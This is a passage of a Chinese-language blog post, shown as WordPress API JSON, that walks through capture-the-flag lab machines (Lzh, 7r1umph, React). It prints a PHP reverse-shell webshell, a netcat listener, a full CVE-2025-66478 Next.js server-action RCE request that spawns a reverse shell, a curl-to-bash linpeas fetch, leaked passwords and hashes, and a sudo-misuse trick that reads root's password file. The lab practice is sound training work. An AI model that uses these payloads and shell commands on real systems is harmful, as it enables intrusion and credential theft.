class=\"wp-block-preformatted\">admin\/Admin123<\/pre>\n\n\n\n<p>\u7136\u540e\u5728\u6587\u4ef6\u7ba1\u7406\u91cc\u9762\u53bb\u6587\u4ef6\u4e0a\u4f20\uff0c\u4e0d\u8fc7\u4ed6\u521a\u5f00\u59cb\u662f\u4e0d\u4f1a\u89e3\u6790php\u6587\u4ef6\uff0c\u9700\u8981\u5148\u53bb\u4f20txt\u6587\u4ef6\uff0c\u7136\u540e\u53bb\u91cd\u547d\u540d\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>exec(\"busybox nc 10.247.102.219 4444 -e bash\")?&gt;<\/pre>\n\n\n\n<p>\u6210\u529f\u53cd\u5f39shell\u6210\u529f\uff0c\u7136\u540e\u53bbhome\u4e0b\u9762\u53d1\u73b0welcome\u7528\u6237<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5728\u52aa\u529b\u54e5wp\u4e2d\u63d0\u5230\u8d26\u53f7\u5bc6\u7801\u901a\u5e38\u53ef\u80fd\u5b58\u5728\u4e8e\u914d\u7f6e\u6587\u4ef6\u91cc\u9762\uff0c\u6216\u8005\u76f4\u63a5\u6572\u547d\u4ee4\u67e5\u627e\u5173\u4e8e\u7528\u6237\u7684\u5185\u5bb9<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Lzh:\/var\/www\/html\/mozilo\/admin$ grep -rin \"welcome\" --include=\"*.php\" .\/<br>&lt;ilo\/admin$ grep -rin \"welcome\" --include=\"*.php\" .\/<br>.\/config.php:107:    \/\/ welcome:3e73d572ba005bb3c02107b2e2fc16f8<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6210\u529f\u8fde\u63a5<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<p>sudo\u548cfind \/ -perm \/4000 -type f -exec ls -ld {} \\; 2&gt;\/dev\/null \u53d1\u73b0\u6ca1\u6709sudo<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">welcome@Lzh:~$ ls -al<br>total 28<br>drwx------ 2 welcome welcome 4096 Apr 12  2025 .<br>drwxr-xr-x 3 root    root    4096 Apr 11  2025 ..<br>lrwxrwxrwx 1 root    root       9 Apr 11  2025 .bash_history -&gt; \/dev\/null<br>-rw-r--r-- 1 welcome welcome  220 Apr 11  2025 .bash_logout<br>-rw-r--r-- 1 welcome welcome 3526 Apr 11  2025 .bashrc<br>-rw-r--r-- 1 root    root    2590 Apr 12  2025 id_rsa<br>-rw-r--r-- 1 welcome welcome  807 Apr 11  2025 .profile<br>-rw-r--r-- 1 welcome welcome   44 Apr 12  2025 user.txt<br>lrwxrwxrwx 1 root    root       9 Apr 12  2025 .viminfo -&gt; \/dev\/null<\/pre>\n\n\n\n<p>\u53d1\u73b0\u5b58\u5728\u4e00\u4e2arsa\u6587\u4ef6\uff0c\u76f4\u63a5\u53bb\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">welcome@Lzh:~$ ssh -i id_rsa root@localhost<br>The authenticity of host 'localhost (::1)' can't be established.<br>ECDSA key fingerprint is SHA256:IV6iZTL6D\/\/1Ojh0d8XoSMepPgjyUfV\/FpQmf3q35Hg.<br>Are you sure you want to continue connecting (yes\/no\/[fingerprint])? yes<br>Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.<br>Load key \"id_rsa\": invalid format<br>\u683c\u5f0f\u9519\u8bef<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">welcome@Lzh:~$ cat id*<br>-----BEGIN OPENSSH PRIVATE KEY-----<br>???lbnNz<\/pre>\n\n\n\n<p>\u53d1\u73b0\u524d\u4e09\u4f4d\u662f\uff1f\uff0c\u7b80\u5355\u4fe1\u606f\u641c\u96c6\u4e00\u4e0b\uff0c\u95eeai\u8981\u53ef\u4ee5\u51fa\u6765\uff0c\u53d1\u73b0\u524d\u4e09\u4f4d\u662fb3B\uff0c\u7136\u540e\u628a\u4ed6cp\u5230\/tmp\u91cc\u9762\uff0c\u7136\u540e\u6dfb\u52a0600\u6743\u9650\uff0cvim\u6539\u4e0b<\/p>\n\n\n\n<p>\u7136\u540e\u53bb\u672c\u5730\u6d4b\u8bd5\u8fde\u63a5ssh -i \/tmp\/id_rsa root@localhost<\/p>\n\n\n\n<p>\u62ff\u4e0broot<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">welcome@Lzh:\/tmp$ ssh root@localhost -i \/tmp\/id_rsa<br>Linux Lzh 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64<br><br>The programs included with the Debian GNU\/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in \/usr\/share\/doc\/*\/copyright.<br><br>Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>Last login: Sat Apr 12 23:17:27 2025 from 192.168.3.94<br>root@Lzh:~# id<br>uid=0(root) gid=0(root) groups=0(root)<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">7r1umph<\/h2>\n\n\n\n<p>\u6253\u5f00\u9776\u673a\uff0c\u4f9d\u7136\u4e09\u4ef6\u5957nmap,dirsearch,dir\u626b\u63cf<\/p>\n\n\n\n<p>\u53d1\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">[19:02:30] 200 -  841B  - \/index.php                                        <br>[19:02:30] 200 -  841B  - \/index.php\/login\/                                 <br>[19:02:30] 200 -   23KB - \/info.php                                         <br>[19:02:36] 403 -  278B  - \/server-status                                    <br>[19:02:36] 403 -  278B  - \/server-status\/                                   <br>[19:02:38] 301 -  312B  - \/tmp  -&gt;  http:\/\/10.247.102.33\/tmp\/               <br>[19:02:38] 200 -  403B  - \/tmp\/                                             <br>[19:02:38] 301 -  315B  - \/upload  -&gt;  http:\/\/10.247.102.33\/upload\/         <br>[19:02:38] 200 -  405B  - \/upload\/                                          <\/pre>\n\n\n\n<p>\u53d1\u73b0\u6587\u4ef6\u4e0a\u4f20\u70b9\uff0c\u4e5f\u4f1a\u51fa\u73b0\u5728\/tmp\u4e0a,\u4f46\u662f\u518d\u70b9\u51fb\u7684\u65f6\u5019\uff0c\u5c31\u663e\u793a404\uff0c\u8be5\u6587\u4ef6\u4e5f\u6d88\u5931\u6389\u4e86<\/p>\n\n\n\n<p>\u4f46\u662f\u4f20\u4e0a\u53bb\u6587\u4ef6\u540e\u7f00\u81ea\u52a8\u6dfb\u52a0dsz\uff0c\u90a3\u5e94\u8be5\u5c31\u662f\u5229\u7528\u6761\u4ef6\u7ade\u4e89\u53bb\u5199\u5165\u6076\u610f\u4ee3\u7801<\/p>\n\n\n\n<p><a href=\"https:\/\/7r1umph.top\/post\/7r1umph%20-ba-ji-shen-tou-ce-shi-bao-gao-%20(Write-up).html#1.-%E7%9B%AE%E6%A0%87%E4%BF%A1%E6%81%AF\">7r1umph \u9776\u673a\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a (Write-up)<\/a><\/p>\n\n\n\n<p>\u53c2\u8003\u4e0a\u9762\u6587\u7ae0\uff0c\u901a\u8fc7\u5176\u53bb\u53cd\u5f39shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2514\u2500# nc -lvnp 4444<br>listening on [any] 4444 ...<br>connect to [10.247.102.219] from (UNKNOWN) [10.247.102.33] 47452<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@7r1umph:\/home$ find \/ -type f -perm -4000 2&gt;\/dev\/null<br>find \/ -type f -perm -4000 2&gt;\/dev\/null<br>\/usr\/bin\/chsh<br>\/usr\/bin\/chfn<br>\/usr\/bin\/newgrp<br>\/usr\/bin\/gpasswd<br>\/usr\/bin\/mount<br>\/usr\/bin\/su<br>\/usr\/bin\/umount<br>\/usr\/bin\/pkexec<br>\/usr\/bin\/sudo<br>\/usr\/bin\/passwd<br>\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper<br>\/usr\/lib\/eject\/dmcrypt-get-device<br>\/usr\/lib\/openssh\/ssh-keysign<br>\/usr\/libexec\/polkit-agent-helper-1<\/pre>\n\n\n\n<p>\u6ca1\u6709\u4ec0\u4e48\u4e1c\u897f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@7r1umph:\/home$ cd \/opt<br>cd \/opt<br>www-data@7r1umph:\/opt$ ls -al<br>ls -al<br>total 56<br>drwxr-xr-x  2 root root  4096 Apr 12  2025 .<br>drwxr-xr-x 18 root root  4096 Mar 18  2025 ..<br>-rw-r--r--  1 root root 16968 Apr 12  2025 guess<br>-rw-r--r--  1 root root 27871 Apr 12  2025 yeyeye.png<\/pre>\n\n\n\n<p>\u53bb\u67e5\u770b\uff0c\u53d1\u73b0\u4e00\u4e2a\u56fe\u7247\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@7r1umph:\/opt$ base64 \/opt\/yeyeye.png base\u52a0\u5bc6\u7136\u540e\u53bb\u968f\u6ce2\u9010\u6d41\u53bb\u751f\u6210\u56fe\u7247<\/pre>\n\n\n\n<p><a href=\"https:\/\/geocachen.nl\/geocaching\/geocache-puzzels-oplossen\/dorabella-cipher\/\">Dorabella Cipher<\/a><\/p>\n\n\n\n<p>\u89e3\u5bc6\u51fa\u6765\u662f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">yecongdong<\/pre>\n\n\n\n<p>\u5c1d\u8bd5ssh\u8fde\u63a5\u6210\u529f\u8fdb\u5165<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ python3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'<br>welcome@7r1umph:~$ <\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">welcome@7r1umph:~$ ls<br>RegView  user.txt<br>welcome@7r1umph:~$ cd Re*<br>welcome@7r1umph:~\/RegView$ ls<br>poc.txt  README.md  RegView.sh  run.jpg  source.txt<br>welcome@7r1umph:~\/RegView$ ll<br>bash: ll: command not found<br>welcome@7r1umph:~\/RegView$ ls -al<br>total 476<br>drwxr-xr-x 3 root    root      4096 Apr 12  2025 .<br>drwx------ 3 welcome welcome   4096 Apr 12  2025 ..<br>drwxr-xr-x 8 root    root      4096 Apr 12  2025 .git<br>-rw-r--r-- 1 root    root       289 Dec  3  2024 poc.txt<br>-rw-r--r-- 1 root    root       936 Apr 12  2025 README.md<br>-rwxr-xr-x 1 root    root      3911 Apr 12  2025 RegView.sh<br>-rw-r--r-- 1 root    root    457296 Dec  3  2024 run.jpg<br>-rw-r--r-- 1 root    root      2095 Dec  3  2024 source.txt<br>welcome@7r1umph:~\/RegView$ <\/pre>\n\n\n\n<p>\u53d1\u73b0.git\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">git log \u67e5\u770b\u4e00\u4e0bgit\u7684\u65e5\u5fd7<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">commit acd806aad21acb61112252234c7707bc8a74dd3c (HEAD -&gt; main)<br>Author: bamuwe &lt;bamuwe@qq.com&gt;<br>Date:   Sat Apr 12 01:33:50 2025 -0400<br><br>    fix bug<br><br>commit 900b75c25c03c4af30d8d05de61c01c723741ecc<br>Author: bamuwe &lt;bamuwe@qq.com&gt;<br>Date:   Sat Apr 12 01:32:22 2025 -0400<br><br>    add source2.txt<br><br>\u53d1\u73b0source2.txt\u6587\u4ef6<br>git show  900b75c:source2.txt<br>root:ff855ad811c79e5fba458a575fac5b83<br>welcome@7r1umph:~\/RegView$ su root<br>Password: <br>root@7r1umph:\/home\/welcome\/RegView# <br>\u62ff\u4e0broot<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">React<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u53cd\u5e94\uff0c\u6253\u5f00nmap\uff0cdirsearch,gobuster\u626b\u4e00\u4e0b\uff0c\u51fa\u676580 22 3000\u7aef\u53e3<\/p>\n\n\n\n<p>\u521a\u5f00\u59cb\u6ca1\u592a\u7ba1\u8fd93000\u7aef\u53e3\uff0c\u53bb\u625380\u7aef\u53e3\u7684\u4e86\uff0c\u611f\u89c9\u662frce\u6ca1\u6709\u51fa\u6765\uff0c\u95ee\u7684\u5176\u4ed6cyl\u624d\u53d1\u73b03000\u7aef\u53e3\u6709\u6f0f\u6d1e\u5e76\u4e14\u662f\u4e4b\u524dCVE-2025-66478<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">POST \/ HTTP\/1.1<br>Host: 10.247.102.188:3000<br>Next-Action: x<br>Content-Type: multipart\/form-data; boundary=----Boundary<br>Content-Length: 641<br><br>------Boundary<br>Content-Disposition: form-data; name=\"0\"<br><br>{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('busybox nc 10.247.102.219 4444 -e bash').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}<br>------Boundary<br>Content-Disposition: form-data; name=\"1\"<br><br>\"$@0\"<br>------Boundary<br>Content-Disposition: form-data; name=\"2\"<br><br>[]<br>------Boundary--<\/pre>\n\n\n\n<p>\u6210\u529f\u53cd\u5f39<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl -L https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh | bash \u770b\u4e00\u4e0b\uff0c\u6ca1\u6709\u4ec0\u4e48\u4e1c\u897f<br>\u4e0d\u8fc7\u51fa\u6765bot\u7528\u6237\u5bc6\u7801\u4e86lMmqr98vg3Ke1Mu4hJwN<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u767b\u5f55\u4e00\u4e0b<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<p>\u67e5\u770b\u7684\u7fa4\u53cb\u7684wp\uff0c\u524d\u6765\u590d\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sudo -l\u4e00\u4e0b<br>bot@React:~$ sudo -l<br>Matching Defaults entries for bot on React:<br>    env_reset, mail_badpass,<br>    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br><br>User bot may run the following commands on React:<br>    (ALL) NOPASSWD: \/opt\/react2shell\/scanner.py<br>    (ALL) NOPASSWD: \/usr\/bin\/rm -rf \/<br>bot@React:~$ <\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">bot@React:~$ head \/opt\/react2shell\/scanner.py<br>#!\/usr\/bin\/python3<br>import argparse<br>import sys<br>import json<br>import os<br>import random<br>import re<br>import string<br>from datetime import datetime, timezone<br>from concurrent.futures import ThreadPoolExecutor, as_completed<br>\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u811a\u672c\u7684\u5934\u90e8\u4fe1\u606f<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">bot@React:~$ sudo \/opt\/react2shell\/scanner.py<br>usage: scanner.py [-h] (-u URL | -l LIST) [-t THREADS] [--timeout TIMEOUT]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  [-o OUTPUT] [--all-results] [-k] [-H HEADER] [-v] [-q]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  [--no-color] [--safe-check] [--windows] [--waf-bypass]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  [--waf-bypass-size KB]<br>scanner.py: error: one of the arguments -u\/--url -l\/--list is required<br>\u67e5\u770b\u4e00\u4e0b\u6709\u4ec0\u4e48\u4fe1\u606f<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">curl -L https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh | bash<\/pre>\n\n\n\n<p>\u626b\u63cf\u4e00\u4e9b\uff0c\u53d1\u73b0\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\/usr\/bin\/check_key<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u67e5\u770b\u4e00\u4e9b\u91cc\u9762\u7684\u4e1c\u897f<br>bot@React:\/tmp$ \/usr\/bin\/check_key --help<br>bot@React:\/tmp$ \/usr\/bin\/check_key -help<br>bot@React:\/tmp$ strings \/usr\/bin\/check_key<br>\/lib64\/ld-linux-x86-64.so.2<br>fopen<br>fgets<br>strlen<br>fclose<br>system<br>__cxa_finalize<br>strcmp<br>__libc_start_main<br>libc.so.6<br>GLIBC_2.2.5<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>u\/UH<br>[]A\\A]A^A_<br>\/opt\/key<br>cp \/root\/Reactrootpass.txt \/opt<br>;*3$\"<br>GCC: (Debian 10.2.1-6) 10.2.1 20210110<br>crtstuff.c<br>deregister_tm_clones<br>__do_global_dtors_aux<br>completed.0<br>__do_global_dtors_aux_fini_array_entry<br>frame_dummy<br>__frame_dummy_init_array_entry<br>check_key.c<br>__FRAME_END__<br>__init_array_end<br>_DYNAMIC<br>__init_array_start<br>__GNU_EH_FRAME_HDR<br>_GLOBAL_OFFSET_TABLE_<br>__libc_csu_fini<br>_ITM_deregisterTMCloneTable<br>_edata<br>fclose@GLIBC_2.2.5<br>strlen@GLIBC_2.2.5<br>system@GLIBC_2.2.5<br>__libc_start_main@GLIBC_2.2.5<br>fgets@GLIBC_2.2.5<br>__data_start<br>strcmp@GLIBC_2.2.5<br>__gmon_start__<br>__dso_handle<br>_IO_stdin_used<br>__libc_csu_init<br>__bss_start<br>main<br>fopen@GLIBC_2.2.5<br>__TMC_END__<br>_ITM_registerTMCloneTable<br>__cxa_finalize@GLIBC_2.2.5<br>.symtab<br>.strtab<br>.shstrtab<br>.interp<br>.note.gnu.build-id<br>.note.ABI-tag<br>.gnu.hash<br>.dynsym<br>.dynstr<br>.gnu.version<br>.gnu.version_r<br>.rela.dyn<br>.rela.plt<br>.init<br>.plt.got<br>.text<br>.fini<br>.rodata<br>.eh_frame_hdr<br>.eh_frame<br>.init_array<br>.fini_array<br>.dynamic<br>.got.plt<br>.data<br>.bss<br>.comment<\/pre>\n\n\n\n<p>\u53d1\u73b0cp \/root\/Reactrootpass.txt \/opt<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u76f4\u63a5\u53bb\u8bfb<br>bot@React:\/tmp$ sudo \/opt\/react2shell\/scanner.py -l \/root\/Reactrootpass.txt<br>\u200b<br>brought to you by assetnote<br>\u200b<br>[*] Loaded 1 host(s) to scan<br>[*] Using 10 thread(s)<br>[*] Timeout: 10s<br>[*] Using RCE PoC check<br>[!] SSL verification disabled<br>\u200b<br>[ERROR] To75CuOTHLA7BMmH5Puv<br>\u62ff\u4e0b\u5bc6\u7801<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u6e17\u900f\u9776\u673a\ud83d\ude0d \u83b7\u53d6\u9776\u673a\u5730\u5740\uff1ahttps:\/\/maze-sec.com\/qq\u7fa4\uff1a660930334 HackMyV [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-176","post","type-post","status-publish","format-standard","hentry","category-8"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/176","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=176"}],"version-history":[{"count":21,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/176\/revisions"}],"predecessor-version":[{"id":217,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/176\/revisions\/217"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=176"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}